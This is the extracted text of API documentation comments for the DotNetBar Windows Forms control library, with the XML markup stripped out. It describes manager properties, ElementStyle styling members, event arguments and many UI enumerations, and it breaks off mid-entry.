DotNetBar. + + + + + Indicates whether Reset buttons is shown that allows end-user to reset the toolbar state. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Suspends the bar layout for all bars. + + + + + Specifes whether drop shadow is displayed for Menus and pop-up Bars. OfficeXP Style only. + + + + + Specifes whether to use Alpha-Blending shadows for pop-up items if supported by target OS. Disabling Alpha-Blended shadows can improve performance. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Gets or sets whether hooks are used for internal DotNetBar system functionality. Using hooks is recommended only if DotNetBar is used in hybrid environments like Visual Studio designers or IE. + + + + + Gets whether any handlers have been defined for SerializeItem event. If no handles have been defined to optimize performance SerializeItem event will not be attempted to fire. + + + + + Gets whether any handlers have been defined for DeserializeItem event. If no handles have been defined to optimize performance DeserializeItem event will not be attempted to fire. + + + + + Returns whether definition is being currently loaded. + + + + + Gets or sets whether document bars are saved in definition file. Default value is false which means that document + bars are not saved as part of definition file. You can set this value to true to save document bar to definition file and + be able to load them. + + + Note that by default Document bars that you created during design-time get member + variables assigned to them by Windows Forms designer. If you decide to save definition + of such bars and load definition back member variables will not point to correct bar + instances since loading definition recreates all bars from scratch. You should always + use Bars collection to access bars when saving and loading definitions. + + + + + Gets or sets the DotNetBar definition string. + + + + + Gets or sets the DotNetBar layout string. + + + + + Gets whether DotNetBarManager is loading layout. + + + + + Specifies that custom customize dialog will be used. Use EnterCustomize event to show your custom dialog box. + + + + + Gets or sets the toolbar Top dock site used by DotNetBarManager. + + + + + Gets or sets the toolbar Bottom dock site used by DotNetBarManager. + + + + + Gets or sets the toolbar Left dock site used by DotNetBarManager. + + + + + Gets or sets the toolbar Right dock site used by DotNetBarManager. + + + + + Gets or sets the Top dock site used by DotNetBarManager. + + + + + Gets or sets the Bottom dock site used by DotNetBarManager. + + + + + Gets or sets the Left dock site used by DotNetBarManager. + + + + + Gets or sets the Right dock site used by DotNetBarManager. + + + + + Gets or sets the Fill dock site used by DotNetBarManager. Fill dock site is most commonly used as dock site + for document type docking. + + + + + Specifies whether bars are drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Sets the style of all items in DotNetBar Manager. + + + + + Gets or sets Color scheme for all bars. Note that you need to set UseGlobalColorScheme to true to indicate + that this ColorScheme object will be used on all bars managed by this instance of DotNetBarManager. + + + + + Gets or sets whether ColorScheme object on DotNetBarManager is used as a default ColorScheme for all bars managed by DotNetBarManager. + Default value is false which indicates that ColorScheme on each Bar is used. + When set to true each bar will use the ColorScheme settings from DotNetBarManager and it will ignore any + setting on the Bar.ColorScheme object. + + + + + Indicates whether the Personalized menu setting is ignored and full menus are always shown. + + + + + Gets or sets whether accelerator letters for menu or toolbar commands are underlined regardless of + current Windows settings. Accelerator keys allow easy access to menu commands by using + Alt + choosen key (letter). Default value is false which indicates that system setting is used + to determine whether accelerator letters are underlined. Setting this property to true + will always display accelerator letter underlined. + + + + + Returns whether theme support is enabled on the OS that supports themes like Windows XP. + + + + + Indicates whether the CustomizeItem (allows toolbar customization) is added for new Bars end users are creating. + + + + + Gets or sets whether DotNetBar ignores the F10 key which when pressed sets the focus to menu bar + + + + + Indicates whether the items that are not recenly used are shown after mouse hovers over the expand button. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Specifies the pop-up animation style. + + + + + Specifies whether the MDI system buttons are displayed in menu bar when MDI Child window is maximized. + + + + + Gets or sets whether MDI Child form System Menu is hidden. System menu is displayed in MDI form menu area when form is maximized. Default value is false. + + + + + Gets or sets whether customize context menu is shown on all bars or dock sites. + + + + + Gets or sets whether parent form is activated when dock window layout is loaded. + + + + + Represents delegate for ContextMenu events. + + + + + Represents the method that will handle the ItemRemoved event. + + + + + Defines the delegate for DockTabChange event + + + + + Defines the delegate for BarClosing event + + + + + Defines the delegate for BarAutoHideDisplay event + + + + + Represents the method that will handle the LocalizeString event. + + + + + Gets or sets the display rectangle for popup auto-hide bar. + + + + + Event arguments for LocalizeString event. + + + + + Indicates that event has been handled and that LocalizedValue should be used. + + + + + Indicates the string key for the text that needs to be localized. + + + + + Indicates the localized text value. If you are performing custom string localization + you need to set this value to the translated text for current locale and you need to set + Handled property to true. + + + + + Default constructor. + + + + + Event arguments for EndUserCustomize event. + + + + + Indicates the customize action that user executed. + + + + + Default constructor. + + Indicates action user executed. + + + + Initializes a new instance of the EndUserCustomizeEventArgs class. + + + + + + + Gets any action data, might be null/nothing. + + + + + Delegate for EndUserCustomize event. + + + + + Defines delegate for ActiveDockContainerChanged event. + + + + + + + Provides event arguments for ActiveDockContainerChanged event. + + + + + Gets the DockContainerItem that has been activate or deactivated. + + + + + Initializes a new instance of the ActiveDockContainerChangedEventArgs class. + + + + + + Summary description for DotNetBarResourcesAttribute. + + + + + Summary description for DotNetBarStreamer. + + + + + Represents class that can serialize compatible marked properties. + + + + + XML element is expected to be something like Image data Base64 encoded + + Image data + + + + + Represents visual style of an User Interface Element. + + + + Creates new instance of the class. + + + + Initializes a new instance of the ElementStyle class. + + + + + Creates new instance of the class. + + + Creates new instance of the class. + + + Creates new instance of the class. + + + + Indicates whether BackgroundColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether BackgroundColor2 should be serialized. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundImage to it's default value null (VB Nothing). Used by windows forms designer design-time support. + + + + + Indicates whether TextColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets TextColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether TextShadowColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets TextColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether TextShadowOffset should be serialized. Used by windows forms designer design-time support. + + + + + Resets TextShadowOffset to it's default value. Used by windows forms designer design-time support. + + + + + Sets size of the element style. + + Indicates new size. + + + + Indicates whether BorderColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets BorderColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether BorderColor3 should be serialized. Used by windows forms designer design-time support. + + + + + Resets BorderColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether BorderColorLight should be serialized. Used by windows forms designer design-time support. + + + + + Resets BorderColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether BorderColor2 should be serialized. Used by windows forms designer design-time support. + + + + + Resets BorderColorLight2 to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether property should be serialized. Used by windows forms designer design-time support. + + + + + Resets property to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether property should be serialized. Used by windows forms designer design-time support. + + + + + Resets property to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether property should be serialized. Used by windows forms designer design-time support. + + + + + Resets property to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether property should be serialized. Used by windows forms designer design-time support. + + + + + Resets property to it's default value. Used by windows forms designer design-time support. + + + + + Releases all resources used in this control. After calling Dispose() + object is not in valid state and cannot be recovered to the valid state. + Recreation of the object is required. + + + + + Applies a "child/inherited" style text and box properties but not any background or border properties to this style. + Use this method to create style hierarchies. + + Style to apply to this style + + + + + Applies a "child/inherited" style to this style. Use this method to create style + hierarchies. + + + This method is used to support style hierarchies where a base style is defined + and inherited/child styles are derived and based on it. By using this method on the + base style you can apply only style changes defined by the child style. For example if + you defined a base style for normal user interface element then in most cases you do + not want to redefine the styling for the case when same user interface element is + selected. You will just defined the behavior of the selected state and then apply it to + the base normal style using ApplyStyle method. + + Style to apply to current style. + + + + Makes an exact copy of the style. + + New copy of ElementStyle object. + + + + Reset all style properties to default values. + + + + Returns default style for the Cell object. + + Reference to the default style for the Node. Cell style is based on the given + node style. + + + + Returns default style for disabled cells. + Returns new instance of ElementStyle object. + + + Returns default style for the selected cell object. + New instance of the ElementStyle object. + + + + Sets Alpha value for all colors defined by style to specified value. + + Style to change. + Alpha value for the colors. + + + + Returns reference to ColorScheme object used by this style. + + Instance of ColorScheme object or null if object could not be obtained. + + + + Occurs when appearance property of the style has changed. + + + + + Occurs when component is Disposed. + + + + + Gets the collection that defines the multicolor gradient background. + + + + + Gets or sets the background color for UI element. If used in combination with + BackgroundColor2 is specifies starting gradient color. + + + + + Gets or sets the color scheme color that is used as background color. Setting + this property overrides the setting of the corresponding BackColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BackColor property. + + + + + Gets or sets the target gradient background color for UI element. + + + + + Gets or sets the color scheme color that is used as target gradient background color. Setting + this property overrides the setting of the corresponding BackColor2 property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BackColor2 property. + + + + + Gets or sets the background gradient angle. + + + + + Gets or sets the background gradient fill type. Default value is Linear. + + + + + Specifies background image. + + + + + Specifies background image position when container is larger than image. + + + + + Specifies the transparency of background image. + + + + + Gets or sets the text color displayed in this UI element. + + + + + Gets or sets the color scheme color that is used as text color. Setting + this property overrides the setting of the corresponding TextColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through TextColor property. + + + + + Gets or sets the text shadow color. + + + + + Gets or sets the color scheme color that is used as text shadow color. Setting + this property overrides the setting of the corresponding TextShadowColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through TextColor property. + + + + + Indicates text shadow offset in pixels + + + + + Gets or sets the Font used to draw this the text. + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + + + + + Specifies alignment of the text. + + + + + Specifies alignment of the text. + + + + + Specifies how to trim characters when text does not fit. + + + + + Gets the total horizontal margin (Left + Right) + + + + + Gets the total vertical margin (Top + Bottom) + + + + + Gets or sets the left margin. + + + + + Gets or sets the right margin. + + + + + Gets or sets the top margin. + + + + + Gets or sets the bottom margin. + + + + + Gets or sets whether any style property has changed which could influence the size of the style. + + + + + Gets the calcuated size of the element style. + + + + + Gets or sets the border type for all sides of the element. + + + + + Gets or sets border width in pixels. + + + + + Gets or sets the border type for top side of the element. + + + + + Gets or sets the border type for bottom side of the element. + + + + + Gets or sets the border type for left side of the element. + + + + + Gets or sets the border type for right side of the element. + + + + + Gets or sets border width in pixels. + + + + + Gets or sets border width in pixels. + + + + + Gets or sets border width in pixels. + + + + + Gets or sets border width in pixels. + + + + + Gets or sets the border color for all sides. Specifing the color for the side will override this value. + + + + + Gets or sets the color scheme color that is used as border color. Setting + this property overrides the setting of the corresponding BorderColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderColor property. + + + + + Gets or sets the target background gradient color for border on all sides. Specifing the color for the side will override this value. Gradient border colors + be employed only when per side border color is not specified. + + + + + Gets or sets the color scheme color that is used as taget gradient border color. Setting + this property overrides the setting of the corresponding BorderColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderColor property. + + + + + Gets or sets the border gradient angle. Default value is 90. + + + + + Gets or sets the color for light border part when etched border is used. + + + + + Gets or sets the color scheme color that is used as border light color for etched border style. Setting + this property overrides the setting of the corresponding BorderColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderColor property. + + + + + Gets or sets the target background gradient color for border on all sides. Specifing the color for the side will override this value. Gradient border colors + be employed only when per side border color is not specified. + + + + + Gets or sets the color scheme color that is used as taget gradient border light color for etched border style. Setting + this property overrides the setting of the corresponding BorderColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderColor property. + + + + + Gets or sets the light border gradient angle. Default value is 90. + + + + + Gets or sets the background color for the left side border. + + + + + Gets or sets the color scheme color that is used as left border color. Setting + this property overrides the setting of the corresponding BorderLeftColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderLeftColor property. + + + + + Gets or sets the background color for the right side border. + + + + + Gets or sets the color scheme color that is used as right border color. Setting + this property overrides the setting of the corresponding BorderRightColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderRightColor property. + + + + + Gets or sets the background color for the top side border. + + + + + Gets or sets the color scheme color that is used as top border color. Setting + this property overrides the setting of the corresponding BorderTopColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderTopColor property. + + + + + Gets or sets the background color for the bottom side border. + + + + + Gets or sets the color scheme color that is used as bottom border color. Setting + this property overrides the setting of the corresponding BorderBottomColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BorderBottomColor property. + + + + + Gets the total horizontal padding (Left + Right) + + + + + Gets the total vertical padding (Top + Bottom) + + + + + Gets or sets the padding space in pixels for all 4 sides of the box. + + + + + Gets or sets the amount of space to insert between the top border of the element and the content. + + + + + Gets or sets the amount of space to insert between the bottom border of the element and the content. + + + + + Gets or sets the amount of space to insert between the left border of the element and the content. + + + + + Gets or sets the amount of space to insert between the right border of the element and the content. + + + + + Gets or sets the name of the style. + + + + + Gets or sets the class style belongs to. The Class styles are used to apply predefined values to the styles that belong to the same class. + This feature is used to manage color schemes/tables per class style. + + + + + Gets or sets the description of the style. + + + + + Gets or sets the Site associated with this component. Used by Windows forms designer. + + + + + Gets or sets the maximum height of the element. This property should be used in + conjunction with the WordWrap property to limit the size of + text bounding box. + + Default value is 0 which indicates that height of the style is unlimited. + + + + Returns System.Drawing.StringFormat constructed from current style settings. + + + + + Gets or sets a value indicating whether the control interprets an ampersand character (&) in the control's Text property to be an access key prefix character. Default value is false. + + + + + Indicates whether control hides the underlines of the letter prefixed by ampersand character when UseMnemonic=true + + + + + Returns eTextFormat constructed from current style settings. + + + + + Gets or sets the border corner type for all 4 sides. Default corner type is Square. + + + + + Gets or sets the border corner type for top left corner. Default value is Inherit which means that setting from CornerType property is used. + + + + + Gets or sets the border corner type for top right corner. Default value is Inherit which means that setting from CornerType property is used. + + + + + Gets or sets the border corner type for bottom left corner. Default value is Inherit which means that setting from CornerType property is used. + + + + + Gets or sets the border corner type for bottom right corner. Default value is Inherit which means that setting from CornerType property is used. + + + + + Gets or sets the diameter in pixels of the corner type rounded or diagonal. + + + + + Gets whether to paint left border for the style. + + + + + Gets whether to paint right border for the style. + + + + + Gets whether to paint top border for the style. + + + + + Gets whether to paint bottom border for the style. + + + + + Gets whether to paint any border for the style. + + + + + Gets whether to paint any border for the style. + + + + + Gets whether custom has any of properties changed. + + + + + Gets or sets whether ElementStyle is in design mode. + + + + + Gets or sets the maximum width of the element. This property should be used in + conjunction with the WordWrap property to limit the size of + text bounding box. + + Default value is 0 which indicates that width of the style is not limited. + + + + Gets or sets the reference to the parent collection. + + + + + Gets or sets the tree control style is assigned to. + + + + + Specifies the type of the gradient fill. + + + + + Represents linear gradient fill. + + + + + Represents radial gradient fill. + + + + + Paints the ElementStyle + + + + Creates new instance of the object. + + + + Paints text for given style. + + Display information. + Text to paint. + Default font if no font by style is specified. + + + + + Returns new Region object for given ElementStyle. + New instance of Region object. + Information to describe ElementStyle. + + + + Returns the clipping for the content of the element style. + + + + + + + Paints the element style on the canvas. + + Holds information necessary to paint style on canvas. + + + + Paint style border. + + Style display information. + + + + Paints style background. + + Style display information. + + + + Paints style background. + + Style display information. + + + + Paints style background image. + + Style display information. + + + + Returns background rectangle for given style by taking in account margins. + + Reference to style object. + Style bounds + Background rectangle. + + + + Returns GraphicsPath for given style. + + Reference to style. + Style bounds. + New instance of GraphicsPath + + + + Returns GraphicsPath for given style. + + Reference to style. + Style bounds. + New instance of GraphicsPath + + + + Initializes a new instance of the BorderDrawInfo structure. + + + + + + + + + + Represents information necessary to paint the style on canvas. + + + + Reference to ElementStyle object. + + + Reference to Graphics object. + + + ElementStyle bounds. + + + Get or sets whether layout is right-to-left. + + + + Gets or sets whether bottom and right border is "twisted" giving beveled look when double border is used. + + + + Creates new instance of the object. + + + Creates new instance of the object and initializes it with default values. + Style to initialize object with. + Graphics object to initialize object with. + Bounds to initialize object with. + + + Creates new instance of the object and initializes it with default values. + Style to initialize object with. + Graphics object to initialize object with. + Bounds to initialize object with. + + + + Specifies part of the background path. + + + + + Indicates complete background path + + + + + Indicates Top half of background path + + + + + Indicates Bottom half of background path + + + + + Represents the layout for the element style. + + + + + Calculates size of an style element. + + Style to calculate size for. + Default font that will be used by style if style does not uses it's own font. + Size of the style element. At this time only Height member will be calculated. + + + + Returns the total white space for a style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for + + + + + Returns the total white space for a style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for left side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for left side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for right side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for right side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for top side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for top side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for top side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns total white space for top side of the style. Whitespace is the space between the edge of the element and inner content of the element. + + Style to return white space for. + + + + + Returns amount of spacing for specified style parts. + + Style to calculate spacing for. + Part of the style spacing is calculated for. Values can be combined. + Side of the style to use for calculation. + + + + + Gets inner rectangle taking in account style padding, margins and border. + + + + + Specifies the appearance of a item. + + + + + Specifies the CrumbBar control style. + + + + + Specifies the Bar state. + + + + + Specifies the Bar grab handle style. + + + + + Specifies the Orientation of the item within container. + + + + + Specifies the design-marker orientation for the item. + + + + + Specifies the supported orientations by the item. + + + + + Specifies the docked Bar border type. + + + + + Specifes vertical alignment. + + + + + Specifies item alignment. + + + + + Specifies the popup type. + + + + + Specifies the dock side. + + + + + Specifies the item shortcut. + + + + + Specifies the item menu visibility. + + + + + Specifies the item behavior personalized menus. + + + + + Specifies the popup animation. + + + + + Specifies ButtonItem style. + + + + + Specifies the image position. + + + + + Specifies the hot tracking style for buttons. + + + + + Specifies the menu drop shadow. + + + + + Specifies the image size for the items on the Bar. + + + + + Specifies button image list selection. + + + + + Indicates that image is stretched to fill the container space. + + + + + Image is centered inside of container space. + + + + + Image is tiled to fill container space. + + + + + Image is drawn in top left corner of container space. + + + + + Image is drawn in top right corner of container space. + + + + + Image is drawn in bottom left corner of container space. + + + + + Image is drawn in bottom right corner of container space. + + + + + Image is drawn on the left side in the middle of the container space. + + + + + Image is drawn on the right side in the middle of the container space. + + + + + Specifies the sides of a rectangle to apply a border to. + + + + + No Border. + + + + + Border on the Left edge. + + + + + Border on the Right edge. + + + + + Border on the Top edge. + + + + + Border on the Bottom edge. + + + + + Border on all 4 sides. + + + + + Specifies appearance type of the Side Bar control. + + + + + Traditional Side Bar appearance with 3D panels. + + + + + Improved Flat Side Bar appearance with extended appearance options. + + + + + Specifies predefined side bar color scheme. + + + + + Specifies the side popup is displayed in relation to it's parent. + + + + + Indicates layout type used for items within side bar panel. + + + + + Default layout all items arranged in one column. + + + + + Items arranged in multiple columns determined by the width of the panel. + + + + + Indicates color scheme assigned to the tab item. + + + + + Indicates the action end user took during toolbar/menubar customization. + + + + + User has changed the visibility of the bar. + + + + + Indicates that item visibility has changed i.e. it's visible property. + + + + + Indicates that an item has been moved to different location. + + + + + Indicates that an item has been removed from the bar. + + + + + Indicates that item's text has been changed. + + + + + Indicates that style of the button i.e. ButtonStyle property has changed. + + + + + Indicates that item's BeginGroup property has changed. + + + + + Indicates that user has created a new bar. + + + + + Indicates that user has renamed the bar i.e. changed it's Text property. + + + + + Indicates that user has deleted the bar. + + + + + Specifies the type of the layout for tabs. + + + + + Tabs are auto-sized to fit the width of the container. + + + + + Tab's width is calculated based on the image and text and navigation box is displayed + when tabs cannot fit the container. + + + + + Tab are wrapping on multiple lines based on the width and navigation box is displayed. + + + + + Tab are wrapping on multiple lines based on the width and NO navigation box is displayed. + + + + + Indicates the corner type. + + + + + Inherits setting if applies. + + + + + Specifies square corner. + + + + + Specifies rounded corner. + + + + + Specifies diagonal corner. + + + + + Specifies the action that raised a event + + + + + The event was caused by a keystroke. + + + + + The event was caused by a mouse operation. + + + + + The event is caused programmatically from user code. + + + + + Specifies the button alignment inside of the BubbleBar. + + + + + Buttons are aligned to the top and arranged horizontally. + + + + + Buttons are aligned to the bottom and arranged horizontally. + + + + Specifies the way background image is displayed on background. + + + Image is stretched to fill the background + + + Image is centered inside the background + + + Image is tiled inside the background + + + + Image is drawn in top left corner of container space. + + + + + Image is drawn in top right corner of container space. + + + + + Image is drawn in bottom left corner of container space. + + + + + Image is drawn in bottom right corner of container space. + + + + + Imaged is centered and fills the control but aspect ratio is unchanged. + + + + + Specifies the border type for style element. + + + + Indicates no border + + + Border is a solid line + + + Border is a solid dash line + + + Border is solid dash-dot line + + + Border is solid dash-dot-dot line + + + Border consists of dots + + + Border consists light and dark part creating an etched effect + + + Border consists dark and light part. Light part is the inside border. + + + + Specifies the alignment of a text string relative to its element's rectangle. + + + + + Specifies the text be aligned near from the origin position of the element's rectangle. In a left-to-right layout, the near position is left. In a right-to-left layout, the near position is right. + + + + + Specifies that text is aligned in the center of the element's rectangle. + + + + + Specifies that text is aligned far from the origin position of the element's rectangle. In a left-to-right layout, the far position is right. In a right-to-left layout, the far position is left. + + + + + Specifies how to trim characters from a text that does not completely fit into a element's shape. + + + + + Specifies that the text is trimmed to the nearest character. + + + + + Specifies that the text is trimmed to the nearest character, and an ellipsis is inserted at the end of a trimmed line. + + + + + The center is removed from trimmed lines and replaced by an ellipsis. The algorithm keeps as much of the last slash-delimited segment of the line as possible. + + + + + Specifies that text is trimmed to the nearest word, and an ellipsis is inserted at the end of a trimmed line. + + + + + Specifies no trimming. + + + + + Specifies that text is trimmed to the nearest word. + + + + + Specifies the alignment of buttons in title bar. + + + + + Buttons are left aligned. + + + + + Buttons are right aligned. + + + + + Indicates white-space part of the style. + + + + + Represents style padding. + + + + + Represents style border. + + + + + Represents style margin. + + + + + Indicates the style side. + + + + + Specifies left side of the style. + + + + + Specifies right side of the style. + + + + + Specifies top side of the style. + + + + + Specifies bottom side of the style. + + + + + Specifies the button state. + + + + + Button is in it's default state. + + + + + Button is disabled + + + + + Mouse is over the button + + + + + Left mouse button is pressed + + + + + Right mouse button is pressed + + + + + Button is hidden. + + + + + Indicates predefined color scheme assigned to super tooltip. + + + + + Specifies predefined color assigned to ribbon items. + + + + + Specifies predefined color assigned to ribbon tab groups. + + + + + Specifies the state of the Wizard button. + + + + + Specifies the button that caused the wizard page change. + + + + + Page change was started using Wizard Back button. + + + + + Page change was started using Wizard Next button. + + + + + Page change was started from code. + + + + + Specifies wizard button that is clicked when the user presses the ENTER key. + + + + + If finish button is enabled and visible it will be clicked otherwise click next button + + + + + Click finish button + + + + + Click next button + + + + + No button will be clicked + + + + + Specifies wizard button that is clicked when the user presses the Escape key. + + + + + Cancel button will be clicked + + + + + No button will be clicked + + + + + Specifies border around ColorItem. + + + + + No Border. + + + + + Border on the Left edge. + + + + + Border on the Right edge. + + + + + Border on the Top edge. + + + + + Border on the Bottom edge. + + + + + Border on all 4 sides. + + + + + Specifies the line alignment of the items inside of the container. + + + + + Items are aligned to the top. + + + + + Items are aligned to the middle point of the line. + + + + + Items are aligned to the bottom. + + + + + Specifies the alignment of the items inside of the container in horizontal layout. + + + + + Items are left aligned. + + + + + Items are centered. + + + + + Items are right aligned. + + + + + Specifies the alignment of the items inside of the container in vertical layout. + + + + + Items are top aligned. + + + + + Items are in the middle. + + + + + Items are Bottom aligned. + + + + + Specifies the rendering mode used by a user interface element. + + + + + Indicates that rendering on user interface element instance set through Renderer property is used. + + + + + Indicates that global application wide renderer is used as specified by GlobalManager.Renderer property. + + + + + Indicates that custom rendered will be used for an user interface element. Renderer property must be set when using this value to the renderer + that will be used. + + + + + Specifies the predefined color table for button. + + + + + Specifies the color table used to render ProgressBarItem in Office 2007 style. + + + + + Indicates default Normal color table, usually green. + + + + + Indicates Pause state color table, usually yellow. + + + + + Indicates Error state color table, usually red. + + + + + Specifies the position of ribbon title. + + + + + Title is positioned on the top of the ribbon. + + + + + Title is positioned on the bottom of the ribbon. + + + + + Specifies text alignment on the button. + + + + + Specifies the left aligned text. + + + + + Specifies the center aligned text. + + + + + Specifies the right aligned text. + + + + + Specifies the position of the tab close button. + + + + + Close button is on the left side of the tab. + + + + + Close button is on the right side of the tab. + + + + + Describes the bar type. + + + + + Indicates that bar is toolbar. + + + + + Indicates that bar is menu bar. + + + + + Indicates that bar is status bar. + + + + + Indicates that bar is dock window. + + + + + Describes the categorization mode used to categorize items on the Customize Ribbon dialog. + + + + + Items are automatically categorized by the ribbon bar they appear on. + + + + + Items are categorized by the Category property on each item. Category property should be set on each item. + + + + + Describes the check-box item appearance style + + + + + Standard check-box style. + + + + + Radio button style. Only one button can be selected/checked in given container. + + + + + Indicates the position of the check box sign related to the text for CheckBoxItem. + + + + + Check box sign is positioned on the left side of the text. + + + + + Check box sign is positioned on the right side of the text. + + + + + Check box sign is positioned above the text. + + + + + Check box sing is positioned below the text + + + + + Indicates the type of the progress bar. + + + + + Standard step based progress bar. + + + + + The automatically moving progress bar. + + + + + Defines the direction of collapsing/expanding + + + + + Control is collapsed from bottom to top. + + + + + Control is collapsed from top to bottom. + + + + + Control is collapsed from right to left. + + + + + Control is collapsed from left to right. + + + + + Describes the scroll bar skinning applied to the controls. + + + + + No scrollbar skinning is applied to the control. + + + + + Optimized scrollbar skinning algorithm is used. Might provide better appearance in certain scenarios. + + + + + Unoptimized scrollbar skinning algorithm is used. Might provide better appearance in certain scenarios. + + + + + Indicates the position of the slider label text related to the slider part. + + + + + Label is positioned on the left side of the slider. + + + + + Label is positioned on the right side of the slider. + + + + + Label is positioned above the slider. + + + + + Label is positioned below the slider. + + + + + Defines the slider item parts. + + + + + Indicates no part. + + + + + Indicates the increase button of slider control. + + + + + Indicates the decrease button of slider control. + + + + + Indicates the label part of slider control. + + + + + Indicates the track area part of the control. + + + + + Specifies the position of the title image. + + + + + Image is positioned on the left side. + + + + + Image is centered. + + + + + Image is positioned on the right side. + + + + + Specifies the Wizard control Appearance. + + + + + Indicates default Wizard 97 style. + + + + + Indicates the Office 2007 Style Wizard Appearance. + + + + + Specifies wizard title image alignment + + + + + Image is aligned to left + + + + + Image is aligned to right + + + + + Specifies the behaviour used to hide watermark. + + + + + Watermark for control is hidden when control receives the input focus. + + + + + Watermark for control is hidden when control has non-empty input value. + + + + + Specifies the advanced ScrollBar appearance. + + + + + Default scroll bar appearance. + + + + + Office 2007 style Application scroll bar appearance. + + + + + Defines text position in relation to the content of the item.. + + + + + Text is positioned to the left of the content. + + + + + Text is positioned to the right of the content. + + + + + Text is positioned on top of the content. + + + + + Text is positioned on bottom of the content. + + + + + Defines position for the notification mark + + + + + Defines available symbol sets. + + + + + FontAwesome Symbol Set. + + + + + Android Material Symbol Set. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets the reference to ButtonItem instance being rendered. + + + + + Creates new instance of the object and initializes it with default values + + Reference to Graphics object. + Reference to ColorItem object. + + + + Represents event arguments for DockTabClosing event. + + + + + Indicates the DockContainerItem that is about to close. + + + + + Provides ability to cancel closing of the DockContainerItem. Default value is false. + + + + + Set to true to automatically remove DockContainerItem from the Bar.Items collection after it is closed. Default value is false + which means that DockContainerItem will be kept in collection but it will be hidden after this event is complete. + + + + + Returns source of the event: keyboard, mouse or code. + + + + + Creates new instance of the class. + + Reference to DockContainerItem that is about to close + + + + Delegate for DockTabClosing event. + + + + + Represents arguments for SerializeItem event which allows you to add custom serialization data to definitions saved by control. + + + + + Gets reference to item being serialized or de-serialized. + + + + + Gets reference to instance of XmlElement that item is serialized to or is being de-serialized from. You should not change any data directly on this element. + + + + + Gets the reference to XmlElement that you can serialize to or de-serialize any custom data from. You can add child elements or set the attributes on + this XmlElement when handling SerializeItem event. When handling DeserializeItem event you can load same data from this element. + + + + + Defines delegate for SerializeItem event. + + + + + Provides more information about MarkupLinkClick event. + + + + + Gets the value of href attribute from the markup link that was clicked. + + + + + Gets the value of name attribute from the markup link that was clicked. + + + + + Creates new 